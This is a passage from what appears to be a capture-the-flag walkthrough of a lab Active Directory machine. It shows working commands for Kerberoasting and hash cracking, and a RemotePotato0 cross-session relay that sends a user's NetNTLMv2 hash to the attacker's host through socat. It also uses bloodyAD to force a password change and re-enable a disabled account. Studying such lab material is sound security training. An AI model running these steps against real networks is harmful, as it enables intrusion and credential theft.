stream view <stream name> will show the messages in the stream:
oxdf@hacky$ nats stream view auth_logs --context mirage
[1] Subject: logs.auth Received: 2025-05-05 07:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[2] Subject: logs.auth Received: 2025-05-05 07:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[3] Subject: logs.auth Received: 2025-05-05 07:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[4] Subject: logs.auth Received: 2025-05-05 07:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[5] Subject: logs.auth Received: 2025-05-05 07:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
13:25:43 Reached apparent end of data
There’s a new password for david.jjackson.
Validate Creds
I’ll check this credential using netexec:
oxdf@hacky$ netexec smb DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@
It works. I’ll need to make sure to use -k (NTLM is disabled) and that my clock is in sync with the DC (sudo ntpdate DC01.mirage.htb).
Shell as nathan.aadam
Enumeration
SMB
With creds, I have access to shares over SMB:
oxdf@hacky$ netexec smb DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --shares
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@
SMB DC01.mirage.htb 445 DC01 Enumerated shares
SMB DC01.mirage.htb 445 DC01 Share Permissions Remark
SMB DC01.mirage.htb 445 DC01 ----- ----------- ------
SMB DC01.mirage.htb 445 DC01 ADMIN$ Remote Admin
SMB DC01.mirage.htb 445 DC01 C$ Default share
SMB DC01.mirage.htb 445 DC01 IPC$ READ Remote IPC
SMB DC01.mirage.htb 445 DC01 NETLOGON READ Logon server share
SMB DC01.mirage.htb 445 DC01 SYSVOL READ Logon server share
These are the default shares on a Windows DC. Nothing interesting here.
I’ll list ten users on the box:
oxdf@hacky$ netexec smb DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --users
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@
SMB DC01.mirage.htb 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB DC01.mirage.htb 445 DC01 Administrator 2025-06-23 21:18:18 0 Built-in account for administering the computer/domain
SMB DC01.mirage.htb 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB DC01.mirage.htb 445 DC01 krbtgt 2025-05-01 07:42:23 0 Key Distribution Center Service Account
SMB DC01.mirage.htb 445 DC01 Dev_Account_A 2025-05-27 14:05:12 0
SMB DC01.mirage.htb 445 DC01 Dev_Account_B 2025-05-02 08:28:11 0
SMB DC01.mirage.htb 445 DC01 david.jjackson 2025-05-02 08:29:50 0
SMB DC01.mirage.htb 445 DC01 javier.mmarshall 2025-05-25 18:44:43 0 Contoso Contractors
SMB DC01.mirage.htb 445 DC01 mark.bbond 2025-06-23 21:18:18 0
SMB DC01.mirage.htb 445 DC01 nathan.aadam 2025-06-23 21:18:18 0
SMB DC01.mirage.htb 445 DC01 svc_mirage 2025-05-22 20:37:45 0 Old service account migrated by contractors
SMB DC01.mirage.htb 445 DC01 Enumerated 10 local users: MIRAGE
javier.mmarshall has the comment “Contoso Contractors”. svc_mirage is labeled as an “old service account migrated by contractors”.
BloodHound
I’ll collect BloodHound data using RustHound-CE (thanks to Ipp for fixing the zip import bug):
oxdf@hacky$ rusthound-ce -d mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -c All -z
---------------------------------------------------
Initializing RustHound-CE at 05:43:05 on 11/18/25
Powered by @g0h4n_0
---------------------------------------------------
[2025-11-18T05:43:05Z INFO rusthound_ce] Verbosity level: Info
[2025-11-18T05:43:05Z INFO rusthound_ce] Collection method: All
[2025-11-18T05:43:05Z INFO rusthound_ce::ldap] Connected to MIRAGE.HTB Active Directory!
[2025-11-18T05:43:05Z INFO rusthound_ce::ldap] Starting data collection...
[2025-11-18T05:43:05Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:05Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=mirage,DC=htb
[2025-11-18T05:43:05Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:06Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=mirage,DC=htb
[2025-11-18T05:43:06Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:06Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=mirage,DC=htb
[2025-11-18T05:43:06Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:07Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=mirage,DC=htb
[2025-11-18T05:43:07Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:07Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=mirage,DC=htb
[2025-11-18T05:43:07Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 8% [2025-11-18T05:43:07Z INFO rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2025-11-18T05:43:07Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2025-11-18T05:43:07Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 12 users parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 65 groups parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 1 computers parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 21 ous parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 74 containers parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2025-11-18T05:43:07Z INFO rusthound_ce::json::maker::common] .//20251118054307_mirage-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 05:43:07 on 11/18/25! Happy Graphing!
I’ll load the data in BloodHound-CE Docker and mark david.jjackson as owned. They have some outbound controls, but it’s all stuff for being in the Domain Users group:
Nothing too interesting there, other than to note that there is ADCS in play here (which I’ll enumerate more fully for the final step).
The default query for Kerberoastable Users returns one:
Kerberoast
Collect Hash
I’ll run the attack with netexec:
oxdf@hacky$ netexec ldap DC01.mirage.htb -u Dev_Account_A -p 'hx5h7F5554fP@1337!' -k --kerberoasting kerberoast.txt
LDAP DC01.mirage.htb 389 DC01 None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP DC01.mirage.htb 389 DC01 [-] mirage.htb\Dev_Account_A:hx5h7F5554fP@1337! KDC_ERR_PREAUTH_FAILED
oxdf@hacky$ netexec ldap DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --kerberoasting kerberoast.txt
LDAP DC01.mirage.htb 389 DC01 None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP DC01.mirage.htb 389 DC01 [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@
LDAP DC01.mirage.htb 389 DC01 Skipping disabled account: krbtgt
LDAP DC01.mirage.htb 389 DC01 Total of records returned 1
LDAP DC01.mirage.htb 389 DC01 sAMAccountName: nathan.aadam, memberOf: ['CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb', 'CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb'], pwdLastSet: 2025-06-23 21:18:18.584667, lastLogon: 2025-07-04 20:01:43.511763
LDAP DC01.mirage.htb 389 DC01 $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$f5e71ef69808e47abb780b809f9f1f80$9458533cbd0f75628dfd525e34f62f28cc98dcabcef576386b831c62347029fd2c3debfe0eef5c744350eca257a71ce89e53441d563d3815bbd7e70f6c0e1d014e0100b53346352ccb736efbf35fadda2fa409003403ff4a57cc0e8aa1fa1bc501774880d592c336a2eb245489039d4e8b7f702c86510a042c94347401a33b33eb0210d92ee04fe62eeeae9e881ab8183a12ddcf0768ab124a5318b9f3b5946e2f259c8dada672cb8d357e416865499a6dd13e452591e606064ff66c3d306bf795b5c45968e9487d87d6ff11a528189ac8a0c4dc6e3a3d7c11c92f62b39f232107af066b8ed24a353bad535c6d83f8b89798e2b2233843b8f4c99c4ff493e9cf74312e821931dd45b97718ee3d2d20f823027e9aa0e802a0c6f71aa1b65891e69b491ee826ffbc8a44065fabfaed87ce7531c6e24e6d82c114eec43966a18d7f3d1256828e2e09261287d2d573a946ad3593a234efa256d611c1db34609720e5e34a7f015f3477a6de285339e7fc8a1a9307ea6fa529cdfdbe2033039c1b77da126c6ba64b5ea477087de8c338a210c90a48f2c465e6e7cb1310657e07bd861a1edb904ce0408e7d68e65a5e1d893ac4b690cbe95cd58ebea37db5c94db8aad32b51290a7627baba96299d37d79fee3f48c2c3f7ff1db02657e0c6ffc2b3f0068d691aa60db7684213276980a0dcd76da72f6a798c4acc225ebfec475ffc99240162e6d59d8c1099264c13a03e3d0d4d251d413105e8d3e5d9daa4ba9b8e6de5e1eae033ed3ac166a89e55653edc035e1ec7a392e7e1dca769f1a8f2dd13ac5cb53274c783ce81badda29d422ccca67857ffae4997cfba85c7f76f02d4584fad62156dbed5b6babc2aec96968d2120ba63ca798439ebf5715fb6457e8adea67290c7d9c8c7609901264bd3e642373d3c69649667c7513b56a3d3882fdf9721e8fb74a0d20f26218090c946c48ded17ceea1a483011390afa5cb5aea1bf7983a8d37ac97c574869d04b3cb3cabcec13d143c4ca47ff8bb1bd0f187d4c035aa4c03ca715b9f4daf3d3e77922c0517cbf1b22b2cb4b9154dea5ef9380842f718081f63265c5318988a17269920e2cf176b8829df114c98b47e495c1a4543cb5c8ff9cc9edf5f749be30e31f6e02429408c2ea320eda2eac14866e8b01d84e0837975b368fab670b6cbfe8c77b5c3f1eac7c15ceff983b643b0ce0f682827fab889ce01e977fa11c0ac5a3885a3a8190a0a22592322ec320f28c5413d88aac0e8326210df67485fefe4743c281175b202bd32505f28a180fe5a60631be5f3ca78d051330e6bc7c99fcb90696210954a2193643bd10f67f24365d039cfb503f0a6650960b264eabb3b9d4a891db217f28a0cccd18c81cfd7190883f29a3986b1565d446f947e4a83108ba7348589f59e1be75ec391a4b96ad8bb85d663ebe04a15fb19bbde1c80912b5e62c8d9073004ede84006d8b4f453eb182af0c7953d7b3cac6a99b5fb2e372d5c08383c723b64737129e96058cda098baac734bad7be0d7c4bf2a3fd04b7c3e2369306d2f6f4d53a71f9816de0558e335179
Crack
I’ll pass that output file (kerberoast.txt) to hashcat and it finds the type and cracks the password:
$ hashcat kerberoast.txt rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$f5e71ef69808e47abb780b809f9f1f80$9458533cbd0f75628dfd525e34f62f28cc98dcabcef576386b831c62347029fd2c3debfe0eef5c744350eca257a71ce89e53441d563d3815bbd7e70f6c0e1d014e0100b53346352ccb736efbf35fadda2fa409003403ff4a57cc0e8aa1fa1bc501774880d592c336a2eb245489039d4e8b7f702c86510a042c94347401a33b33eb0210d92ee04fe62eeeae9e881ab8183a12ddcf0768ab124a5318b9f3b5946e2f259c8dada672cb8d357e416865499a6dd13e452591e606064ff66c3d306bf795b5c45968e9487d87d6ff11a528189ac8a0c4dc6e3a3d7c11c92f62b39f232107af066b8ed24a353bad535c6d83f8b89798e2b2233843b8f4c99c4ff493e9cf74312e821931dd45b97718ee3d2d20f823027e9aa0e802a0c6f71aa1b65891e69b491ee826ffbc8a44065fabfaed87ce7531c6e24e6d82c114eec43966a18d7f3d1256828e2e09261287d2d573a946ad3593a234efa256d611c1db34609720e5e34a7f015f3477a6de285339e7fc8a1a9307ea6fa529cdfdbe2033039c1b77da126c6ba64b5ea477087de8c338a210c90a48f2c465e6e7cb1310657e07bd861a1edb904ce0408e7d68e65a5e1d893ac4b690cbe95cd58ebea37db5c94db8aad32b51290a7627baba96299d37d79fee3f48c2c3f7ff1db02657e0c6ffc2b3f0068d691aa60db7684213276980a0dcd76da72f6a798c4acc225ebfec475ffc99240162e6d59d8c1099264c13a03e3d0d4d251d413105e8d3e5d9daa4ba9b8e6de5e1eae033ed3ac166a89e55653edc035e1ec7a392e7e1dca769f1a8f2dd13ac5cb53274c783ce81badda29d422ccca67857ffae4997cfba85c7f76f02d4584fad62156dbed5b6babc2aec96968d2120ba63ca798439ebf5715fb6457e8adea67290c7d9c8c7609901264bd3e642373d3c69649667c7513b56a3d3882fdf9721e8fb74a0d20f26218090c946c48ded17ceea1a483011390afa5cb5aea1bf7983a8d37ac97c574869d04b3cb3cabcec13d143c4ca47ff8bb1bd0f187d4c035aa4c03ca715b9f4daf3d3e77922c0517cbf1b22b2cb4b9154dea5ef9380842f718081f63265c5318988a17269920e2cf176b8829df114c98b47e495c1a4543cb5c8ff9cc9edf5f749be30e31f6e02429408c2ea320eda2eac14866e8b01d84e0837975b368fab670b6cbfe8c77b5c3f1eac7c15ceff983b643b0ce0f682827fab889ce01e977fa11c0ac5a3885a3a8190a0a22592322ec320f28c5413d88aac0e8326210df67485fefe4743c281175b202bd32505f28a180fe5a60631be5f3ca78d051330e6bc7c99fcb90696210954a2193643bd10f67f24365d039cfb503f0a6650960b264eabb3b9d4a891db217f28a0cccd18c81cfd7190883f29a3986b1565d446f947e4a83108ba7348589f59e1be75ec391a4b96ad8bb85d663ebe04a15fb19bbde1c80912b5e62c8d9073004ede84006d8b4f453eb182af0c7953d7b3cac6a99b5fb2e372d5c08383c723b64737129e96058cda098baac734bad7be0d7c4bf2a3fd04b7c3e2369306d2f6f4d53a71f9816de0558e335179:3edc#EDC3
...[snip]...
Validate
These creds work for nathan.aadam:
oxdf@hacky$ netexec smb DC01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\nathan.aadam:3edc#EDC3
Shell
netexec doesn’t support checking WinRM over Kerberos, but the BloodHound data shows that nathan.aadam is in the IT_Admins group which is in the Remote Management Users group:
I’ll generate the KRB configuration, and then connect with evil-winrm-py:
oxdf@hacky$ netexec smb DC01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k --generate-krb5-file krb5.conf
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB DC01.mirage.htb 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\nathan.aadam:3edc#EDC3
oxdf@hacky$ sudo cp krb5.conf /etc/krb5.conf
oxdf@hacky$ evil-winrm-py -i DC01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'DC01.mirage.htb:5985' as 'nathan.aadam'
evil-winrm-py PS C:\Users\nathan.aadam\Documents>
There is user.txt:
evil-winrm-py PS C:\Users\nathan.aadam\desktop> cat user.txt
01d9c5a2************************
Auth as mark.bbond
Enumeration
Users
There are a few non-administrator users with home directories in C:\Users:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/25/2025 2:54 PM Administrator
d----- 5/23/2025 3:27 PM david.jjackson
d----- 5/2/2025 2:00 AM Dev_Account_A
d----- 5/25/2025 11:03 AM mark.bbond
d----- 7/4/2025 1:01 PM nathan.aadam
d-r--- 5/1/2025 12:31 AM Public
There’s nothing else interesting in david.jjackson, and they can’t access any other users’ directories:
evil-winrm-py PS C:\Users> tree /f
Folder PATH listing
Volume serial number is 014F-FCE7
C:.
+---Administrator
+---david.jjackson
+---Dev_Account_A
+---mark.bbond
+---nathan.aadam
¦ +---3D Objects
¦ +---Contacts
¦ +---Desktop
¦ ¦ Microsoft Edge.lnk
¦ ¦ user.txt
¦ ¦
¦ +---Documents
¦ +---Downloads
¦ +---Favorites
¦ ¦ ¦ Bing.url
¦ ¦ ¦
¦ ¦ +---Links
¦ +---Links
¦ ¦ Desktop.lnk
¦ ¦ Downloads.lnk
¦ ¦
¦ +---Music
¦ +---Pictures
¦ +---Saved Games
¦ +---Searches
¦ +---Videos
+---Public
Logged In User
tasklist fails due to permissions of my WinRM shell, but Get-Process works:
evil-winrm-py PS C:\Users> tasklist
ERROR: Access denied
System.Management.Automation.RemoteException
evil-winrm-py PS C:\Users> get-process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
118 8 4768 9908 3788 0 AggregatorHost
391 33 13000 22068 3032 0 certsrv
500 22 2160 6504 424 0 csrss
278 15 1928 6156 532 1 csrss
366 15 3228 15224 5176 1 ctfmon
410 34 17620 26184 2652 0 dfsrs
158 9 1952 6424 724 0 dfssvc
281 15 3932 15032 4012 0 dllhost
10415 7492 130868 129932 2416 0 dns
749 35 24312 54288 384 1 dwm
1601 62 25948 91608 5536 1 explorer
39 7 1456 3944 4656 0 fontdrvhost
39 7 1692 4608 4664 1 fontdrvhost
0 0 60 8 0 0 Idle
152 13 1812 6388 2836 0 ismserv
2164 249 68004 79388 692 0 lsass
499 32 37384 50400 1396 0 Microsoft.ActiveDirectory.WebServices
215 14 1944 4608 2664 0 MicrosoftEdgeUpdate
239 14 2944 11280 2712 0 msdtc
244 13 24256 22860 2516 0 nats-server
137 18 1760 6112 3268 0 nfssvc
0 2 4780 1204 3428 0 nfssvc
0 13 2268 14608 100 0 Registry
324 18 20228 39132 4408 1 RuntimeBroker
224 12 2220 13268 5700 1 RuntimeBroker
166 11 2316 14672 5924 1 RuntimeBroker
673 35 32020 62500 6044 1 SearchApp
656 16 5668 14212 672 0 services
503 17 4944 26728 4916 1 sihost
57 4 1120 1284 340 0 smss
485 26 5936 19244 3000 0 spoolsv
584 28 13816 55076 5796 1 StartMenuExperienceHost
338 17 4620 14676 852 0 svchost
1008 22 7420 24184 888 0 svchost
895 21 5164 12228 924 0 svchost
280 12 2336 10752 984 0 svchost
118 8 1304 5856 1056 0 svchost
133 17 3128 7692 1068 0 svchost
197 12 1648 7660 1076 0 svchost
211 12 1996 10224 1104 0 svchost
170 10 1700 12528 1116 0 svchost
232 12 2220 8244 1136 0 svchost
314 19 3956 11012 1188 0 svchost
414 16 16348 20448 1220 0 svchost
419 34 7776 17628 1332 0 svchost
544 28 15648 32832 1392 0 svchost
379 17 4120 12788 1420 0 svchost
313 18 3680 14680 1464 0 svchost
436 15 2908 11200 1516 0 svchost
401 20 5384 16196 1552 0 svchost
202 12 2248 11740 1592 0 svchost
444 11 2984 9524 1604 0 svchost
151 8 1276 6280 1612 0 svchost
139 9 1552 7064 1652 0 svchost
193 16 6192 10960 1672 0 svchost
178 13 1832 8668 1732 0 svchost
182 13 2688 15188 1772 0 svchost
290 15 2208 9332 1808 0 svchost
183 12 1980 12928 1836 0 svchost
144 10 1632 7100 1856 0 svchost
227 13 2304 9988 1944 0 svchost
176 11 2048 8116 2032 0 svchost
275 15 2752 8716 2064 0 svchost
170 14 1712 7788 2072 0 svchost
207 11 2424 9500 2136 0 svchost
370 18 2684 11312 2168 0 svchost
257 27 3448 13612 2336 0 svchost
247 14 3728 11348 2384 0 svchost
155 43 1660 7568 2616 0 svchost
137 9 1464 7836 2668 0 svchost
413 19 11892 21608 2672 0 svchost
155 10 3944 12208 2700 0 svchost
280 36 3280 13856 2872 0 svchost
137 9 1512 11916 2880 0 svchost
207 11 2284 9332 2916 0 svchost
121 9 1548 7284 2924 0 svchost
143 8 1380 6500 3040 0 svchost
287 21 8244 16420 3120 0 svchost
383 24 3316 13484 3352 0 svchost
171 10 1564 7988 3636 0 svchost
219 13 2736 13428 4584 1 svchost
325 17 5092 26284 4612 1 svchost
318 19 4324 19068 4756 0 svchost
125 9 1364 7576 4784 0 svchost
126 9 1596 7024 4832 0 svchost
225 13 2860 15380 5220 0 svchost
302 20 15936 19604 5324 0 svchost
165 11 1984 11068 5372 0 svchost
237 14 2616 13684 5448 0 svchost
197 12 2436 15804 6064 1 svchost
358 18 3968 15644 6108 0 svchost
1922 0 44 140 4 0 System
187 12 2252 12276 4840 1 taskhostw
550 23 10020 43088 5820 1 TextInputHost
203 16 2312 11016 3644 0 vds
170 12 2484 11156 1444 0 VGAuthService
106 8 1516 6576 2640 0 vm3dservice
129 10 1644 7064 3400 1 vm3dservice
245 18 4984 16140 528 1 vmtoolsd
410 25 11488 25320 2568 0 vmtoolsd
151 11 1400 7276 552 0 wininit
278 14 2948 12528 600 1 winlogon
418 21 12096 24596 4220 0 WmiPrvSE
1079 27 55560 72236 0.47 4192 0 wsmprovhost
explorer and winlogon are both running in session one, which suggests a user is logged into an interactive desktop session.
qwinsta will show other logged in users, but it will fail over a WinRM shell:
evil-winrm-py PS C:\Users> qwinsta
No session exists for *
However, I can use RunasCs to run it under an interactive context:
evil-winrm-py PS C:\programdata> upload /opt/RunasCs/RunasCs.exe RunasCs.exe
Uploading /opt/RunasCs/RunasCs.exe: 100%|██████████████████████████████████████████████████████████| 50.5k/50.5k [00:00<00:00, 228kB/s]
[+] File uploaded successfully as: C:\programdata\RunasCs.exe
evil-winrm-py PS C:\programdata> .\RunasCs whatever whatever qwinsta -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console mark.bbond 1 Active
mark.bbond is logged in! I don’t even need valid creds for this check, as login type 9 creds are not checked until they are needed with a remote server, and creds are not needed to run qwinsta.
Cross Session Relay
I’ve gone into this attack in Shibuya and Rebound. The attack is to use RemotePotato0 to coerce a logged in user to authenticate with a NetNTLMv2 hash to port 135. I’ll set up a tunnel on my host 135 to send it back to a listening port for RemotePotato0, which will print the hash.
I’ll start socat on my host listening on 135 and redirecting back to port 9999 (the default for RemotePotato0.exe) on Mirage:
oxdf@hacky$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.78:9999
Now I’ll start RemotePotato0.exe with -m 2 to “Rpc capture (hash) server + potato trigger”, -s 1 because that’s the session ID for mark.bbond, and -x 10.10.14.2 as my listening IP:
evil-winrm-py PS C:\programdata> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.2
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 9999
[*] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] RPC relay server listening on port 9997 ...
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 102 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!
NTLMv2 Client : DC01
NTLMv2 Username : MIRAGE\mark.bbond
NTLMv2 Hash : mark.bbond::MIRAGE:2128cb5a5acda3cc:01de5d8bb6c567a89156bf2dab460ed6:0101000000000000fd4088015758dc010c2fd087448a4d140000000002000c004d0049005200410047004500010008004400430030003100040014006d00690072006100670065002e0068007400620003001e0064006300300031002e006d00690072006100670065002e00680074006200050014006d00690072006100670065002e0068007400620007000800fd4088015758dc0106000400060000000800300030000000000000000100000000200000838cbd182113b056c84c0e6eddde291bc7bce739c5a29086499576fe57f74cfd0a00100000000000000000000000000000000000090000000000000000000000
I’ll save that last line in a file and pass it to hashcat:
$ hashcat mark.bbond.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
...[snip]...
MARK.BBOND::MIRAGE:2128cb5a5acda3cc:01de5d8bb6c567a89156bf2dab460ed6:0101000000000000fd4088015758dc010c2fd087448a4d140000000002000c004d0049005200410047004500010008004400430030003100040014006d00690072006100670065002e0068007400620003001e0064006300300031002e006d00690072006100670065002e00680074006200050014006d00690072006100670065002e0068007400620007000800fd4088015758dc0106000400060000000800300030000000000000000100000000200000838cbd182113b056c84c0e6eddde291bc7bce739c5a29086499576fe57f74cfd0a00100000000000000000000000000000000000090000000000000000000000:1day@atime
Validate Creds
The creds work for SMB:
oxdf@hacky$ netexec smb DC01.mirage.htb -u mark.bbond -p 1day@atime -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\mark.bbond:1day@atime
They do not work for WinRM:
oxdf@hacky$ evil-winrm-py -i DC01.mirage.htb -u mark.bbond -p 1day@atime -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'DC01.mirage.htb:5985' as 'mark.bbond'
[-] Failed to authenticate the user mark.bbond with kerberos
Auth as javier.mmarshall
Enumeration
I’ll mark mark.bbond as owned in BloodHound, and look at outbound control:
By being in the IT_Support group, mark.bbond has ForceChangePassword over javier.mmarshall.
Password Change
The netexec module change-password has a bug in it with Kerberos auth, so I’ll just use bloodyAD:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k set password javier.mmarshall 0xdf0xdf..
[+] Password changed successfully!
Enable Account
Show Account Status
If I try to validate the update, it still fails:
oxdf@hacky$ netexec smb DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [-] mirage.htb\javier.mmarshall:0xdf0xdf.. KDC_ERR_CLIENT_REVOKED
In BloodHound, the account shows it’s not enabled:
It’s also in the DISABLED OU. bloodyAD can pull interesting fields for javier.mmarshall:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object javier.mmarshall | grep -a -e userAccountControl -e logonHours
logonHours:
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
Remove UAC Flag
The first step is to remove the UAC flag:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl
The object looks better:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object javier.mmarshall | grep -a -e userAccountControl -e logonHours
logonHours:
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
Unfortunately, it still shows KDC_ERR_CLIENT_REVOKED:
oxdf@hacky$ netexec smb DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [-] mirage.htb\javier.mmarshall:0xdf0xdf.. KDC_ERR_CLIENT_REVOKED
